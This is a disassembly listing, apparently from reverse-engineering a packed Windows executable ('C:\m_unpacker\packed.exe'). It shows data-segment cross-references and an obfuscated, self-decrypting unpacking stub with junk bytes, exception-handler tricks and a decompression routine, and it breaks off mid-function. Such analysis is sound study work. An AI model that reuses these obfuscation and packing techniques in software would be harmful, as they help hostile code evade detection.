dd 1944h dup(0)
dword_4DD368 dd 0 ; DATA XREF: sub_417ABA+23o
; sub_418330+6Ao
dword_4DD36C dd 7Fh dup(0) ; DATA XREF: seg000:004057CCo
; sub_4177DF+3Co
dword_4DD568 dd 98h dup(0) ; DATA XREF: sub_4189D8:loc_418AF5o
; sub_4189D8+131o ...
dword_4DD7C8 dd 0 ; DATA XREF: sub_418D55+45w
; sub_418D55+4Dr ...
align 10h
dword_4DD7D0 dd 18h dup(0) ; DATA XREF: sub_419636:loc_419758o
; sub_419636+12Do
dword_4DD830 dd 80h dup(0) ; DATA XREF: sub_418C96+4Bo
; sub_418C96+7Do ...
byte_4DDA30 db 0 ; DATA XREF: sub_418D55+29r
; sub_418D55+34w
align 8
dword_4DDA38 dd 80h dup(0) ; DATA XREF: sub_418FAC+61o
; sub_418FAC+88o ...
dword_4DDC38 dd 80h dup(0) ; DATA XREF: sub_4188AF+33o
; sub_4188AF+50o ...
dword_4DDE38 dd 0 ; DATA XREF: sub_419BEB:loc_419C0Cr
dword_4DDE3C dd 0 ; DATA XREF: sub_419BEBr
; seg000:00419D11r
dword_4DDE40 dd 0 ; DATA XREF: sub_419C1B+1Ar
; seg000:00419EB2o
dword_4DDE44 dd 0 ; DATA XREF: sub_419BEB:loc_419BFFr
dword_4DDE48 dd 0Eh dup(0) ; DATA XREF: seg000:00419CEDo
dword_4DDE80 dd 0Dh dup(0) ; DATA XREF: sub_41AA78+3Eo
dword_4DDEB4 dd 0 ; DATA XREF: sub_41BDAD+1B9w
; seg000:loc_41D489w ...
dword_4DDEB8 dd 0 ; DATA XREF: sub_41D5DE+35w
; sub_41DC92:loc_41DD2Cw ...
dword_4DDEBC dd 0 ; DATA XREF: sub_423C7E+13Ar
dword_4DDEC0 dd 0A28h ; DATA XREF: seg000:0041DBA5w
dword_4DDEC4 dd 501h ; DATA XREF: seg000:0041DB9Cw
dword_4DDEC8 dd 5 ; DATA XREF: seg000:0041DB91w
dword_4DDECC dd 1 ; DATA XREF: seg000:0041DB83w
dword_4DDED0 dd 1 ; DATA XREF: sub_423287+91w
dword_4DDED4 dd 0B50B20h ; DATA XREF: sub_423287+89w
dd 0
dword_4DDEDC dd 0B50B48h ; DATA XREF: sub_4231CE+44w
; sub_425D17+9r ...
dword_4DDEE0 dd 0 ; DATA XREF: sub_4263D0+36r
dword_4DDEE4 dd 0 ; DATA XREF: sub_425D17+16r
; sub_4260E5+4r ...
dd 0
off_4DDEEC dd offset aCM_unpackerPac ; DATA XREF: sub_423287+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DDEF4 db 0 ; DATA XREF: sub_41B9C3+2Dw
; sub_4229F0+5r
align 4
dword_4DDEF8 dd 0 ; DATA XREF: sub_41B9C3+27w
dword_4DDEFC dd 0 ; DATA XREF: sub_41B9C3+4r
; sub_41B9C3+8Bw
dword_4DDF00 dd 0 ; DATA XREF: sub_41C2E4+3Br
; sub_41C2E4+91w
align 8
dword_4DDF08 dd 0 ; DATA XREF: sub_41C938+Aw
dd 7 dup(0)
dword_4DDF28 dd 0 ; DATA XREF: seg000:0041DBD7w
; sub_4231CE:loc_4231E0r ...
align 10h
dword_4DDF30 dd 0 ; DATA XREF: sub_41DC49r sub_41DC6Er ...
dword_4DDF34 dd 0 ; DATA XREF: sub_41ED30+4Bw
; sub_41EE49+2Dw ...
dword_4DDF38 dd 0 ; DATA XREF: sub_41F532r
dword_4DDF3C dd 0 ; DATA XREF: sub_41B3F2:loc_41B50Er
; sub_41B3F2:loc_41B62Fr ...
dword_4DDF40 dd 1 ; DATA XREF: sub_4200C9:loc_420244r
; sub_420262+4w ...
dword_4DDF44 dd 0 ; DATA XREF: sub_420666+37r
dd 0
dword_4DDF4C dd 0 ; DATA XREF: sub_421BF9+11r
; sub_421CFD+1Ar ...
byte_4DDF50 db 0 ; DATA XREF: sub_421BF9+3r
; sub_421BF9+98r ...
align 4
dword_4DDF54 dd 0 ; DATA XREF: sub_421CFD+11r
; sub_421DDB+21w ...
byte_4DDF58 db 0 ; DATA XREF: sub_421DDB+51w
align 4
dword_4DDF5C dd 0 ; DATA XREF: sub_421FD1+4Er
; sub_4223AC+3Ar ...
dword_4DDF60 dd 0 ; DATA XREF: sub_421FD1+5Cr
; sub_4223AC+43r ...
dword_4DDF64 dd 0 ; DATA XREF: sub_41CBBE+7Ar
; sub_422178+5r
dword_4DDF68 dd 0 ; DATA XREF: sub_42277C+29r
dword_4DDF6C dd 2 dup(0) ; DATA XREF: sub_41D350+Co
dword_4DDF74 dd 0 ; DATA XREF: sub_41D7CA+4r
; sub_41D7CA+6Er ...
dd 3 dup(0)
dword_4DDF84 dd 0 ; DATA XREF: sub_41DA54+61r
; sub_41DA54+BFr ...
dd 0
dword_4DDF8C dd 0 ; DATA XREF: sub_41F54D+154w
; sub_420666:loc_42068Fw ...
dword_4DDF90 dd 1 ; DATA XREF: seg000:00422DCBr
; seg000:00422DEFw ...
dword_4DDF94 dd 0 ; DATA XREF: sub_422FF2+3Ar
; sub_422FF2+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_423287:loc_42329Eo
; seg002:off_4DDEECo
align 4
dd 3Ah dup(0)
dword_4DE09C dd 1 ; DATA XREF: sub_4234D4+2r
; sub_4234D4+23w ...
dword_4DE0A0 dd 0 ; DATA XREF: sub_423894+21r
dword_4DE0A4 dd 0 ; DATA XREF: sub_41F54D+7r
dword_4DE0A8 dd 1 ; DATA XREF: seg000:00423F5Dr
; seg000:loc_423FA1w
align 10h
word_4DE0B0 dw 0 ; DATA XREF: sub_424839+1Ao
; sub_424839+46r
byte_4DE0B2 db 0 ; DATA XREF: sub_424839+39r
align 4
dword_4DE0B4 dd 7 dup(0) ; DATA XREF: sub_424839+52o
dword_4DE0D0 dd 0 ; DATA XREF: sub_424839+40w
; sub_424839+5Co
dword_4DE0D4 dd 0 ; DATA XREF: sub_424839+4Dw
dword_4DE0D8 dd 0 ; DATA XREF: sub_424839+31w
dword_4DE0DC dd 0 ; DATA XREF: sub_424839+52w
dword_4DE0E0 dd 77C26E79h ; DATA XREF: sub_42495C:loc_42497Fr
; sub_42495C+38r ...
align 8
dword_4DE0E8 dd 0 ; DATA XREF: sub_424A3C+11w
; sub_424A3C+63w ...
align 10h
dword_4DE0F0 dd 0 ; DATA XREF: sub_424A3C+33o
; sub_424A3C+46r
dword_4DE0F4 dd 10h dup(0) ; DATA XREF: sub_424A3C+C1o
word_4DE134 dw 0 ; DATA XREF: sub_424C9A+A8r
word_4DE136 dw 0 ; DATA XREF: sub_424A3C+54r
; sub_424C9A+DBr ...
word_4DE138 dw 0 ; DATA XREF: sub_424C9A+CAr
word_4DE13A dw 0 ; DATA XREF: sub_424C9A+D3r
; sub_424C9A:loc_424D8Cr
word_4DE13C dw 0 ; DATA XREF: sub_424C9A+C0r
word_4DE13E dw 0 ; DATA XREF: sub_424C9A+B8r
word_4DE140 dw 0 ; DATA XREF: sub_424C9A+B0r
word_4DE142 dw 0 ; DATA XREF: sub_424C9A+9Er
dword_4DE144 dd 0 ; DATA XREF: sub_424A3C+4Br
dword_4DE148 dd 10h dup(0) ; DATA XREF: sub_424A3C+FBo
word_4DE188 dw 0 ; DATA XREF: sub_424C9A+46r
word_4DE18A dw 0 ; DATA XREF: sub_424A3C:loc_424AB3r
; sub_424C9A+78r ...
word_4DE18C dw 0 ; DATA XREF: sub_424C9A+67r
word_4DE18E dw 0 ; DATA XREF: sub_424C9A+70r
; sub_424C9A:loc_424D1Er
word_4DE190 dw 0 ; DATA XREF: sub_424C9A+5Dr
word_4DE192 dw 0 ; DATA XREF: sub_424C9A+55r
word_4DE194 dw 0 ; DATA XREF: sub_424C9A+4Dr
word_4DE196 dw 0 ; DATA XREF: sub_424C9A+3Er
dword_4DE198 dd 0 ; DATA XREF: sub_424A3C+80r
dword_4DE19C dd 0 ; DATA XREF: sub_424A3C+132r
; sub_424A3C:loc_424B88r ...
dword_4DE1A0 dd 0 ; DATA XREF: sub_424A27r sub_424A27+Ew
dword_4DE1A4 dd 0 ; DATA XREF: sub_4250D1+3r
; sub_4250D1+2Ew ...
dword_4DE1A8 dd 0 ; DATA XREF: sub_4250D1+43w
; sub_4250D1:loc_425120r
dword_4DE1AC dd 0 ; DATA XREF: sub_4250D1+4Aw
; sub_4250D1+60r
dword_4DE1B0 dd 0 ; DATA XREF: sub_423C7E+3Fr
dword_4DE1B4 dd 0 ; DATA XREF: sub_425BA5:loc_425C0Cr
; sub_425BA5+6Do
dword_4DE1B8 dd 0 ; DATA XREF: sub_425BA5:loc_425BE3r
; sub_425BA5+44o
dword_4DE1BC dd 0 ; DATA XREF: sub_425BA5:loc_425BD6r
; sub_425BA5+37o
dword_4DE1C0 dd 0 ; DATA XREF: sub_425BA5:loc_425BF0r
; sub_425BA5+51o
align 8
dword_4DE1C8 dd 0 ; DATA XREF: sub_426153+28r
; sub_426153+48w ...
dword_4DE1CC dd 0 ; DATA XREF: sub_426C4A+28r
; sub_426C4A+4Cw ...
dword_4DE1D0 dd 0 ; DATA XREF: sub_426ED5+26r
; sub_426ED5:loc_426F3Fw
byte_4DE1D4 db 1 ; DATA XREF: sub_40D6BAr sub_40D6BA+9w ...
align 10h
dword_4DE1E0 dd 0B50650h ; DATA XREF: sub_41F263+75r
; sub_41F33C+2Ar ...
dword_4DE1E4 dd 3Fh dup(0) ; DATA XREF: seg000:00423698o
dword_4DE2E0 dd 20h ; DATA XREF: sub_41DC92+8r
; sub_41F33C+Cr ...
dword_4DE2E4 dd 0B51110h ; DATA XREF: sub_41DE10:loc_41DE21r
; sub_41F6BD+14r ...
dd 6 dup(0)
dword_4DE300 dd 400h dup(0) ; DATA XREF: seg002:off_43F558o
; seg002:0043F560o
dword_4DF300 dd 200h ; DATA XREF: sub_41DE10+9r
; sub_41DE10+56r ...
dword_4DF304 dd 4E4h ; DATA XREF: sub_4200C9+14r
; sub_4200C9+65w ...
align 10h
dword_4DF310 dd 3 dup(0) ; DATA XREF: sub_4200C9+123o
; sub_4200C9+171o ...
dword_4DF31C dd 0 ; DATA XREF: sub_4200C9+108w
; sub_4200C9+15Dw ...
byte_4DF320 db 0 ; DATA XREF: seg000:loc_420414w
; seg000:loc_420431w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DF420 db 0 ; DATA XREF: sub_4200C9+5Co
; sub_4200C9+AFo ...
byte_4DF421 db 0 ; DATA XREF: sub_41BBC1+5Dr
; sub_4200C9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DF524 dd 0 ; DATA XREF: sub_4200C9+6Ew
; sub_4200C9+12Bw ...
dword_4DF528 dd 0 ; DATA XREF: sub_41E04F+3Cw
; sub_41E6F4+5r ...
dword_4DF52C dd 0 ; DATA XREF: sub_41E0C2+23Ar
; sub_41E0C2+25Ar ...
dword_4DF530 dd 0 ; DATA XREF: sub_41E04F+31w
; sub_41E0C2+311w ...
dword_4DF534 dd 0 ; DATA XREF: sub_41E04F+21w
; sub_41E0C2+22Dr ...
dword_4DF538 dd 0 ; DATA XREF: sub_41E04F+28w
; sub_41E097r ...
dword_4DF53C dd 0 ; DATA XREF: sub_41E04F+15w
; sub_41E097+8r ...
dword_4DF540 dd 0 ; DATA XREF: sub_41B3F2+5Cr
; sub_41B703+Fr ...
dword_4DF544 dd 0B50000h ; DATA XREF: sub_41B2A1+5Ar
; sub_41B3F2+C0r ...
dword_4DF548 dd 1 ; DATA XREF: sub_41B2A1+Cr
; sub_41B3F2:loc_41B422r ...
dword_4DF54C dd 142340h ; DATA XREF: seg000:0041DBCDw
; seg000:00423185r ...
dword_4DF550 dd 1 ; DATA XREF: sub_4231CE+ADw
; sub_425D17r
dword_4DF554 dd 1 ; DATA XREF: sub_42048Dr
; sub_42048D+11w ...
dword_4DF558 dd 0B50764h ; DATA XREF: sub_41B9C3+3Er
; sub_41D1C3+13r ...
dword_4DF55C dd 0B50758h ; DATA XREF: sub_41B9C3+35r
; sub_41B9C3+57r ...
byte_4DF560 db 1 ; DATA XREF: sub_4269D4+15r
; sub_4269D4+1Ew
align 1000h
seg002 ends
; Section 4. (virtual address 000E0000)
; Virtual size : 0001C000 ( 114688.)
; Section size in file : 0001C000 ( 114688.)
; Offset to raw data for section: 000E0000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 4E0000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 90h
db 60h, 0E8h, 3
dword_4E0004 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh
dd 0DD03FFFFh, 0EB81h, 7D80000Eh, 0C75014Dh, 2824748Bh
dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h, 8D000009h
dd 0E9503545h, 82h, 970000h
db 2 dup(0), 3
byte_4E004F db 0 ; DATA XREF: seg002:00433C25o
; seg002:00434455o
dd 77E79E34h, 99E000h, 77E805D8h, 77E79F93h, 0
dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh
dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h
dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh
dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0D9B9000Ch
dd 0E81BE29Eh, 13h, 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h
dd 68057C6Fh, 0DBDBF68h, 68C0Fh, 800F0000h, 0
; ---------------------------------------------------------------------------
pop ebx
pop eax
push 2F0E15FEh
mov dx, 940Ah
pop ebx
add eax, 840h
and dx, 852Dh
mov esi, 1D8h
mov dh, 0FAh
loc_4E0116: ; CODE XREF: .data:004E01A1j
mov edi, [eax]
or dl, 61h
sub edi, 7A1C72ABh
add edi, 444F1D08h
push 63FA93E3h
adc bl, 55h
pop ecx
sub edi, 2CB7FCA1h
jmp loc_4E0141
; ---------------------------------------------------------------------------
db 36h
dd 0C20DA437h
db 0D3h
; ---------------------------------------------------------------------------
loc_4E0141: ; CODE XREF: .data:004E0136j
mov [eax], edi
jmp loc_4E015C
; ---------------------------------------------------------------------------
dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch
; ---------------------------------------------------------------------------
loc_4E015C: ; CODE XREF: .data:004E0143j
sub eax, 4
mov bh, 11h
sub esi, 1
jnz loc_4E0189
jnz loc_4E017F
jmp loc_4E017F
; ---------------------------------------------------------------------------
db 7Ah, 2Bh, 88h
dd 34074621h
db 5Dh, 0D2h, 0A3h
; ---------------------------------------------------------------------------
loc_4E017F: ; CODE XREF: .data:004E016Aj
; .data:004E0170j
jmp loc_4E01B8
; ---------------------------------------------------------------------------
dd 0CCFF1E59h
db 15h
; ---------------------------------------------------------------------------
loc_4E0189: ; CODE XREF: .data:004E0164j
call near ptr loc_4E019A+1
xchg eax, ecx
div bh
db 64h
int 82h
xchg eax, ebx
ror cl, 1
into
out dx, eax
cld
loc_4E019A: ; CODE XREF: .data:loc_4E0189p
test [esi-7Fh], esp
repne out 73h, eax
pop ecx
jmp loc_4E0116 ; CODE XREF: .data:004E01C3j
; ---------------------------------------------------------------------------
dw 8332h
dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
; ---------------------------------------------------------------------------
loc_4E01B8: ; CODE XREF: .data:loc_4E017Fj
mov di, si
call sub_4E01C7
add dword ptr [eax], 39h
jle short near ptr loc_4E01A1+3
sub al, 0F5h
; =============== S U B R O U T I N E =======================================
sub_4E01C7 proc near ; CODE XREF: .data:004E01BBp
pop edx
add ch, 0E2h
add edx, 754h
push 1ABh
add bx, 5BE1h
pop esi
or di, 0F163h
loc_4E01E1: ; CODE XREF: sub_4E0251+10j
mov eax, [edx]
jmp loc_4E01FC
; ---------------------------------------------------------------------------
dd 0DBEAD58Ch, 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh
; ---------------------------------------------------------------------------
loc_4E01FC: ; CODE XREF: sub_4E01C7+1Cj
sub eax, 56A223EFh
push 21BE5666h
push edx
movzx ebx, di
pop ecx
pop edi
xor eax, 43D64EFCh
call near ptr loc_4E0220+5
xor [esi], edx
xchg eax, edi
test [ebp-5Eh], ch
xor esi, eax
loc_4E0220: ; CODE XREF: sub_4E01C7+4Cp
imul ebp, esi, 51251C8Fh
sub_4E01C7 endp ; sp-analysis failed
jmp loc_4E0237
; ---------------------------------------------------------------------------
mov ah, 0DDh
push edx
and esp, [eax]
fstp dword ptr [esi-556AB381h]
wait
loc_4E0237: ; CODE XREF: .data:004E0226j
pop ecx
pop ebx
add eax, 41389985h
push esi
movsx ebx, ax
pop ebx
mov [edx], eax
call near ptr sub_4E0251
db 26h, 67h
adc al, 0BDh
mov dl, 3
; =============== S U B R O U T I N E =======================================
sub_4E0251 proc far ; CODE XREF: .data:004E0246p
mov di, cx
pop edi
sub edx, 4
mov cx, di
sub esi, 1
jnz loc_4E01E1
mov edi, 7FBA34BAh
jnz loc_4E0275
movsx ebx, cx
loc_4E0275: ; CODE XREF: sub_4E0251+1Bj
call sub_4E0289
retf
sub_4E0251 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A8h
dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h
db 0B5h
; =============== S U B R O U T I N E =======================================
sub_4E0289 proc near ; CODE XREF: sub_4E0251:loc_4E0275p
mov edx, esi
pop esi
push ecx
mov bl, 38h
pop ebx
add esi, 699h
movzx edx, di
mov eax, 17Ch
mov edx, 475D6252h
loc_4E02A3: ; CODE XREF: sub_4E02CD+43j
push dword ptr [esi]
movzx ecx, di
pop edi
sub edi, 2F63DAD5h
mov ebx, 6ADF0402h
add edi, 6FEF42EAh
call sub_4E02CD
dec esi
outsd
jl short near ptr loc_4E02C7+1
pop edx
mov ebp, [eax-7Fh]
loc_4E02C7: ; CODE XREF: sub_4E0289+38j
db 26h, 67h
adc al, 0BDh
mov dl, 3
sub_4E0289 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4E02CD proc near ; CODE XREF: sub_4E0289+31p
movzx ecx, bx
pop ecx
xor edi, 3A3EF9DBh
movsx ecx, cx
push edi
mov ebx, esi
pop dword ptr [esi]
and edx, 0B09089Dh
sub esi, 4
movsx ebx, cx
sub eax, 1
jnz loc_4E030A
mov edx, 569E0936h
jmp loc_4E0327
; ---------------------------------------------------------------------------
dw 0DA4h
; ---------------------------------------------------------------------------
retn 10D3h
; ---------------------------------------------------------------------------
db 9
dd 0C53C2F0Eh
db 1Ah, 4Bh
; ---------------------------------------------------------------------------
loc_4E030A: ; CODE XREF: sub_4E02CD+21j
xor ecx, 1A6373D4h
jmp loc_4E02A3
; ---------------------------------------------------------------------------
db 72h, 0C3h, 40h
dd 6C1FBE79h, 583BCA35h, 41796B1h
db 0EDh, 22h, 0B3h
; ---------------------------------------------------------------------------
loc_4E0327: ; CODE XREF: sub_4E02CD+2Cj
call sub_4E033E
sub_4E02CD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
db 82h, 93h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4E033E proc near ; CODE XREF: sub_4E02CD:loc_4E0327p
var_C = dword ptr -0Ch
mov esi, 3DC42EFh
pop ebx
jmp loc_4E0358
; ---------------------------------------------------------------------------
db 0Bh, 0E8h, 1
dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------
loc_4E0358: ; CODE XREF: sub_4E033E+6j
add ebx, 5E6h
jnz loc_4E0366
mov dh, 0CAh
loc_4E0366: ; CODE XREF: sub_4E033E+20j
mov ecx, 14Ah
movsx esi, si
loc_4E036E: ; CODE XREF: sub_4E033E+A4j
push dword ptr [ebx]
pop eax
push ebx
jle loc_4E037D
mov esi, 2EDF9FBFh
loc_4E037D: ; CODE XREF: sub_4E033E+34j
pop edx
xor eax, 217AC9E9h
xor eax, 7E03266Eh
adc si, 9E8Eh
add eax, 4421110Fh
jmp loc_4E03A4
; ---------------------------------------------------------------------------
dw 0CB9Ah
dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------
loc_4E03A4: ; CODE XREF: sub_4E033E+57j
mov [ebx], eax
jns loc_4E03AF
mov si, ax
loc_4E03AF: ; CODE XREF: sub_4E033E+68j
sub ebx, 4
mov dx, cx
dec ecx
jnz loc_4E03DC
jnp loc_4E03C7
mov edx, 6D6968FAh
loc_4E03C7: ; CODE XREF: sub_4E033E+7Ej
jmp loc_4E03EE
; ---------------------------------------------------------------------------
or [ecx-224B783Ah], ah
push edx
and esp, [eax]
fstp dword ptr [esi-556AB381h]
wait
loc_4E03DC: ; CODE XREF: sub_4E033E+78j
sub edx, 888984Dh
jmp loc_4E036E
; ---------------------------------------------------------------------------
db 13h
dd 6F4E4950h
; ---------------------------------------------------------------------------
jl short loc_4E03F3
loc_4E03EE: ; CODE XREF: sub_4E033E:loc_4E03C7j
call $+5
loc_4E03F3: ; CODE XREF: sub_4E033E+AEj
pop ebp
pop ebx
mov [ebp+5Bh], ebx
pop ebx
mov [ebp+5Fh], ebx
pop eax
mov [ebp+40Dh], eax
pop eax
cmp byte ptr [ebp+5Ah], 1
jnz short loc_4E0463
mov [ebp+425h], eax
pusha
lea eax, [ebp+33h]
push eax
xor eax, eax
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_4E0708
jmp short loc_4E0442
; ---------------------------------------------------------------------------
mov esp, [esp+14h+var_C]
pop dword ptr fs:0
add esp, 4
popa
lea eax, [ebp+63h]
push eax
call dword ptr [ebp+5Fh]
call loc_4E071E
jmp short loc_4E044B
; ---------------------------------------------------------------------------
loc_4E0442: ; CODE XREF: sub_4E033E+E6j
pop dword ptr fs:0
add esp, 24h
loc_4E044B: ; CODE XREF: sub_4E033E+102j
jmp short loc_4E0468
; ---------------------------------------------------------------------------
align 2
dd offset dword_4E0004+44h
aUqcwkernel32_d db '“Ÿçwkernel32.dll',0
; ---------------------------------------------------------------------------
loc_4E0463: ; CODE XREF: sub_4E033E+CAj
call sub_4E0704
loc_4E0468: ; CODE XREF: sub_4E033E:loc_4E044Bj
cld
lea esi, [ebp+8Ch]
lodsd
or eax, eax
jz short loc_4E048F
mov edi, eax
mov ecx, 0Ch
rep movsb
jmp short loc_4E048F
; ---------------------------------------------------------------------------
align 10h
dd 20004010h, 19B23344h, 8F80AA11h
db 0E8h, 19h, 0EDh
; ---------------------------------------------------------------------------
loc_4E048F: ; CODE XREF: sub_4E033E+134j
; sub_4E033E+13Fj
mov [ebp+429h], esp
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+1CCh], eax
mov ebx, [ebp+400h]
add ebx, [ebp+40Dh]
push eax
push ebx
call sub_4E05C7
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+431h], eax
mov [ebp+1D0h], eax
mov eax, fs:0
mov [ebp+42Dh], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1D0h]
mov [edx], eax
mov eax, [ebp+408h]
mov [edx+4], eax
lea eax, [ebp+39Fh]
mov eax, [eax+55h]
mov [edx+8], eax
mov eax, [ebp+3ECh]
mov [edx+10h], eax
mov eax, [ebp+3E8h]
mov [edx+14h], eax
mov edx, [ebp+1CCh]
mov ebx, 1F8h
loc_4E052C: ; CODE XREF: sub_4E033E+212j
mov edi, [edx+ebx+0Ch]
or edi, edi
jz short loc_4E0552
mov ecx, [edx+ebx+10h]
or ecx, ecx
jz short loc_4E054D
add edi, [ebp+1D0h]
mov esi, [edx+ebx+14h]
add esi, edx
sar ecx, 2
rep movsd
loc_4E054D: ; CODE XREF: sub_4E033E+1FCj
add ebx, 28h
jmp short loc_4E052C
; ---------------------------------------------------------------------------
loc_4E0552: ; CODE XREF: sub_4E033E+1F4j
mov eax, [ebp+1CCh]
push eax
mov edx, [ebp+1D0h]
push edx
mov ebx, [eax]
add ebx, edx
mov eax, [ebp+3E4h]
mov [ebx], eax
mov eax, [ebp+3E8h]
mov [ebx+4], eax
mov eax, [ebp+3ECh]
mov [ebx+8], eax
pop edi
pop esi
mov eax, [esi+4]
add eax, edi
mov [ebp+1C7h], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1C7h]
mov [edx+0Ch], eax
lea ebx, [ebp+40Dh]
push ebx
push 0
push 0
push 1
push edi
mov ebx, [esi+8]
add ebx, edi
push ebx
push 8000h
push 0
push esi
call dword ptr [ebp+3F4h]
push 99E000h
retn
sub_4E033E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dd 9400h
db 0, 97h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4E05C7 proc near ; CODE XREF: sub_4E033E+180p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_4E05D5: ; CODE XREF: sub_4E05C7:loc_4E05E4j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_4E05DB: ; CODE XREF: sub_4E05C7+72j
; sub_4E05C7+B7j ...
add dl, dl
jnz short loc_4E05E4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E05E4: ; CODE XREF: sub_4E05C7+16j
jnb short loc_4E05D5
add dl, dl
jnz short loc_4E05EF
mov dl, [esi]
inc esi
adc dl, dl
loc_4E05EF: ; CODE XREF: sub_4E05C7+21j
jnb short loc_4E063B
xor eax, eax
add dl, dl
jnz short loc_4E05FC
mov dl, [esi]
inc esi
adc dl, dl
loc_4E05FC: ; CODE XREF: sub_4E05C7+2Ej
jnb loc_4E06D8
add dl, dl
jnz short loc_4E060B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E060B: ; CODE XREF: sub_4E05C7+3Dj
adc eax, eax
add dl, dl
jnz short loc_4E0616
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0616: ; CODE XREF: sub_4E05C7+48j
adc eax, eax
add dl, dl
jnz short loc_4E0621
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0621: ; CODE XREF: sub_4E05C7+53j
adc eax, eax
add dl, dl
jnz short loc_4E062C
mov dl, [esi]
inc esi
adc dl, dl
loc_4E062C: ; CODE XREF: sub_4E05C7+5Ej
adc eax, eax
jz short loc_4E0636
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E0636: ; CODE XREF: sub_4E05C7+67j
mov [edi], al
inc edi
jmp short loc_4E05DB
; ---------------------------------------------------------------------------
loc_4E063B: ; CODE XREF: sub_4E05C7:loc_4E05EFj
mov eax, 1
loc_4E0640: ; CODE XREF: sub_4E05C7:loc_4E0654j
add dl, dl
jnz short loc_4E0649
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0649: ; CODE XREF: sub_4E05C7+7Bj
adc eax, eax
add dl, dl
jnz short loc_4E0654
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0654: ; CODE XREF: sub_4E05C7+86j
jb short loc_4E0640
sub eax, 2
jnz short loc_4E0683
mov ecx, 1
loc_4E0660: ; CODE XREF: sub_4E05C7:loc_4E0674j
add dl, dl
jnz short loc_4E0669
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0669: ; CODE XREF: sub_4E05C7+9Bj
adc ecx, ecx
add dl, dl
jnz short loc_4E0674
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0674: ; CODE XREF: sub_4E05C7+A6j
jb short loc_4E0660
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E05DB
; ---------------------------------------------------------------------------
loc_4E0683: ; CODE XREF: sub_4E05C7+92j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E0691: ; CODE XREF: sub_4E05C7:loc_4E06A5j
add dl, dl
jnz short loc_4E069A
mov dl, [esi]
inc esi
adc dl, dl
loc_4E069A: ; CODE XREF: sub_4E05C7+CCj
adc ecx, ecx
add dl, dl
jnz short loc_4E06A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E06A5: ; CODE XREF: sub_4E05C7+D7j
jb short loc_4E0691
cmp eax, 7D00h
